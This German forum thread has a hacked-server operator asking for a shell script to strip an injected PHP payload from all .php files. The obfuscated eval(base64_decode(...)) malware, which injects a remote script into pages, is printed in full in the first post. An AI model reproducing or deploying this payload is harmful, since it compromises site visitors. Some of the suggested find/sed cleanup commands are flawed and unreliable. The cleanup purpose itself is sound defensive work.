Script zum Bereinigen von Dateien mit Unterverzeichnissen (Schadcode löschen) eilt

D

dinotrade

Jungspund
Ich tue mich etwas schwer mit shell-Scripten und benötige dringen ein ständig anpassbares Script, das immer ab dem Stammverzeichnis in dem ich mich gerade befinde sich selbst und alle Unterverzeichnisse in allen .php-Dateien nach einem String (zeige ich gleich) sucht und löscht.

Code:
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5aWJHbHVaSE4wZFdScGIybHVabTl2Ym14cGJtVXVZMjl0TDIxdExuQm9jQ0krUEM5elkzSnBjSFErIik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0wOyAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmNCl7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

Das kann man sicher auch verkürzen - das weiß ich aber nicht wie.

Leider variiert der Code von Zeit zu Zeit so daß ich mindestens die ersten 10 Zeichen nach base64_decode(".... als Anhaltspunkt veränderbar halten muss.

Ich habe schon das ganze Web nach einem fertigen Script abgesucht, aber leider nichts gefunden.

Einen Anhalt habe ich hier gefunden:

Code:
nohup find /tmp/web13 -name "*.php" -exec grep "aWYoZnVuY3Rpb25" {} \; -print -exec clear.sh {} \; | grep tmp &

in Verbindung mit clear.sh:
Code:
#!/bin/bash
mkdir -p /tmp/backup`dirname $1`
sed -e '1d' $1 > /tmp/backup$1
mv $1 $1.hack 2>/dev/null
mv /tmp/clemensbackup$1 $1 2>/dev/null

Kann man das nicht in ein einziges Shell-Script packen, das wie oben beschrieben von mir jeweils aus dem Stammverzeichnis heraus aufgerufen wird und dann nur das Stammverzeichnis und alle Unterverzeichnisse apklappert?

Zum Beispiel:
#> cd /var/www/web6/html/
#> sh reinige_php.sh

Ab hier durchsucht das Script alle *.php Dateien (auch in Unterverzeichnissen) und löscht o.g. String

Für Euch als Cracks ist das sicher kein Problem. Da gibt es wieder den kürzesten Einzeiler ....

Schon jetzt vielen lieben Dank

Mein System:Linux/Debian 4.0/Confixx-Bundle
 
Zuletzt bearbeitet:
Wenn dein Server gehackt wurde, solltest du ihn neu aufsetzen. Ein einfaches Bereinigen ist in der Regel unmöglich. Aus dem letzten Backup wiederherstellen und die Eintrittspforte schließen wird wohl eher der einzige Weg sein.
 
Wenn dein Server gehackt wurde, solltest du ihn neu aufsetzen. Ein einfaches Bereinigen ist in der Regel unmöglich.

Danke für den Hinweis. Das weis ich auch,
Dennoch muß ich vorher die php-Dateien bereinigen, da einige Dateien so von uns geändert wurden, daß wir alles noch mal von vorne machen müßten.
Also php-Dateien bereinigen, sichern, neu aufsetzen, backup einspielen und einige 100 wichitige, von uns geänderte Daten wieder einspielen

Damit ich nicht noch mal Tage dran sitze um alle php-Dateien zu ändern und zu erweitern, möchte ich vorher aus allen Dateien den Schadcode löschen.
Ich hoffe ich habe das jetzt ein wenig erklären können

Offtopic: Ich wollte hier nicht über die Sicherheit meies Servers diskutieren, dafür gibt es hier andere Boards oder?
 
Wenn Du Dir _sicher_ bist, dass die gesamte php-Anweisung nie mit Zeilenumbruch vorkommt, muesste doch sowas wie
Code:
 find ./ -name \*.php -exec sed -i -e "s/^.*aWYoZnVuY3Rpb25.*$//" {} \;
funktionieren. Wuerde ich aber vorher gruendlich testen, ich weiss z.B. nicht, ob sed gierig ist.
Alternativ koennte doch auch so etwas gehen:
Code:
 find ./ -name \*.php -exec grep -v "aWYoZnVuY3Rpb25" {} > /tmp/backup-file ; mv /tmp/backup-file {} \;

Zum Offtopic: Wenn Du hier nach Rat suchst und Dir jemand den Rat gibt, den er in der geschilderten Situation fuer richtig haelt, gibt's doch nichts, worueber Du Dich beschweren solltest.
 
Schon mal Danke.
Zeilenumbruch kommt nicht vor.
Es geht halt darum sie gesamte PHP-Anweisung von
Code:
<?php /**/
bis
Code:
fQ=="));?>
zu löschen, da danach gleich wieder eine
Code:
<?php
Anweisung kommt, die erhalten bleiben muss.

Daher dachte ich ja an eine kleine sh-datei, die ich einfach aufrufe.

Zum Offtopic: Du hast ja recht .. aber Du kennst es sicher auch, wenn man verzweifelt vor dem Rechner sitzt und eine Lösung sucht ... war auch nicht böse gemein .. bin hat im Moment ein wenig genervt, da ;( ich schon einige Antworten erhalten habe .. aber keine Hilfe für mein Problem. Und ich habe so wenig Zeit im Moment, daß ich nicht mehr diskutieren wollte sonder eine echte schnelle Hilfe suche.
 
Frage an @rikola: Muß ich Deine Code-zeile im eine .sh Datei schreiben und dann diese Datei aufrufen?
 
Naja, er hat halt schon Recht, das schwierige ist nur bei neuen immer einzuschätzen, woher die kommen, weil sie das auch nie schreiben. Und bei einem der typischen Rootserver-weil-ist-geil-und-Ahnung-brauch-ich-nicht User gebe ich keine Hilfestellungen. Gut lag ich diesmal wohl daneben. Ich denk halt, die meisten Severbetreiber wissen, wie man mit sed umgeht. Aber wenn das Ding so nicht wieder ans Netz geht, ok. Ich würds auch mit sed machen. Ggf würde ich aber einen etwas ausführlicheren regex benutzen und das in perl machen. Oder kann man mit sed auch mehr als eine Zeile auf einmal machen? Ich würde versuchen den kompletten CodeBlock in einem RegEx zu beschreiben
 
Ich gebe ja zu, daß ich nicht der absolute Linux-Experte bin.
Ich kann php-Scripte anpassen und habe schon die verschiedensten Probleme gelöst.
Hier st0ße ich aber an meine grenzen, da ich weder Perl, noch RegEx geschweige denn Bash beherrsche und gehoft habe, hier schnelle Hilfe zu finden, wo ich doch in den Boards schon für viele Problene schnelle hilfe gefunden habe ohne selbst nachfragen zu müssen.

Mir geht es ja wirklich nur um o.g. Script, da ich die Webseite zum Wochenende wieder fertig haben muss und nicht genau weiß, welche php-Dateien ich im laufe der Zeit verändert habe. Daher ist ein wenig eile geboten.

Noch mal die Frage: muss ich den Code von rikola in eine xxx.sh Datei schreiben und die Datei dann ausführen?

Danke für die Hilfe
 
Nö, den Code kannst du direkt in der Shell ausführen, aber sicher die Daten vorher, Rikola selbst hat ja gesagt, dass das evtl. nicht das gewünschte Resultat produziert. Ansonsten kann ich heute abend mal gucken, ich hab hier kein Perl, sonst hätte ich schonmal ein Skriptchen gebastelt.. Sag heute Abend mal Bescheid, ob dus schon gelöst hast.
 
Bekomme leider eine Fehlermeldung:


Code:
kunden2:/var/www/web6/hack08_2010# find ./ -name \*.php -exec grep -v "aWYoZnVuY3Rpb25" {} > /tmp/backup-file ; mv /tmp/backup-file {} \;
find: missing argument to `-exec'
mv: target `;' is not a directory

Wie Du siehst, habe ich bereits ein Backup-Verzeichnis erstellt, in dem ich teste... :brav:
 
Das liegt an den ";" ich würde den
Code:
 find ./ -name \*.php -exec sed -i[B]_BADFILE[/B] -e "s/^.*aWYoZnVuY3Rpb25.*$//" {} \;
nehmen. Das legt ein Backup der berabeiteten Datei an

Code:
$ ls -ltra dummy*
-rw-r--r-- 1 erich erich 3034 24. Sep 14:31 dummy.php
$  find ./ -name \*.php -exec sed -i_BADFILE -e 's/^.*aWYoZnVuY3Rpb25.*$//' {} \;

$ ls -ltra dummy*
-rw-r--r-- 1 erich erich 3034 24. Sep 14:31 dummy.php_BADFILE
-rw-r--r-- 1 erich erich   28 24. Sep 14:32 dummy.php

das ganze aber wirklich erst mal testen, und am besten vorher ein komplettes Backup machen.
 
Habe noch das hier gefunden:
Code:
<?php
set_time_limit(0);

$dir = "./";

$rmcode = `find $dir -name "*.php" -type f |xargs sed -i 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;
echo "Malware removed.<br />\n";
$emptyline = `find $dir -name "*.php" -type f | xargs sed -i '/./,$!d' 2>&1`;
echo "Empty lines removed.<br />\n";
?>

Leider scheint das aber keine Unterverzeichnisse mitzunehmen zumal ich auch nicht genau weiß, wie ich eine PHP-Datei von der Console aus starte. Mit dem Webbrowser lief es jedenfalls nicht wirklich.
und hiermit
Code:
 find ./ -name "*.php" -type f | \  xargs sed -i 's###g' 2>&1$ find ./ -name "*.php" -type f | \   xargs sed -i '/./,$!d' 2>&1
konnte ich gar nichts anfangen.

Hilft uns dieser Code irgendwie weiter?
Nähere infos hier:

http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-the-latest-wordpress-hack.html

Leider habe ich kein Wordpress sondern ein Joomla dort laufen ....
 
Das liegt an den ";" ich würde den
Code:
 find ./ -name \*.php -exec sed -i[B]_BADFILE[/B] -e "s/^.*aWYoZnVuY3Rpb25.*$//" {} \;
nehmen. Das legt ein Backup der berabeiteten Datei an

Im Großen und ganzen hat es funktioniert.
Er hat zwar von jeder *.php eine BADFILE angelegt, aber bei nachsehen habe ich festgestellt, das auch dateien ohne schadcode jetzt doppelt vorhanden sind mit der Erweiterung BADFILE
Eigendlich soll er ja nur einen BADFILE anlegen bei Dateien, wo er auch den Code gefunden hat .. oder?
 
Dachte ich eigentlich auch. Ein Test zeigt allerdings das zu jeder Datei eine Sicherungskopie angelegt wird.
 
Das liegt an den ";" ich würde den
Code:
 find ./ -name \*.php -exec sed -i[B]_BADFILE[/B] -e "s/^.*aWYoZnVuY3Rpb25.*$//" {} \;
nehmen. Das legt ein Backup der berabeiteten Datei an.

Jetzt hat sich doch ein kleiner Fehler gezeigt:
Der Befehl löscht richtigerweise den Schad-Code jedoch auch den so wichtigen nachfolgenden öffner für eine php-Datei also :
Code:
<?php

Richtig müsste der Befehl also lauten vie bekannt, aber nicht einfach die Zeile löschen sondern durch
Code:
<?php
ersetzen.

Oder "finde und lösche o.g. Schadcode von <?php ... bis >

Ich hoffe ich habe das verständlich erklärt. :think:
 
Code:
find ./ -name \*.php -exec sed -i_BADFILE -e "s/^.*aWYoZnVuY3Rpb25.*$/[B][COLOR="red"]<?PHP[/COLOR][/B]/" {} \;
 

Ähnliche Themen

Prblem mit zeilenweises auslesen von Datei und schreiben nach mysql

skript zum löschen doppelter dateien

Doppelte Dateien löschen.

sed im script per crontab

Dateien umbennen und verschieben

Zurück
Oben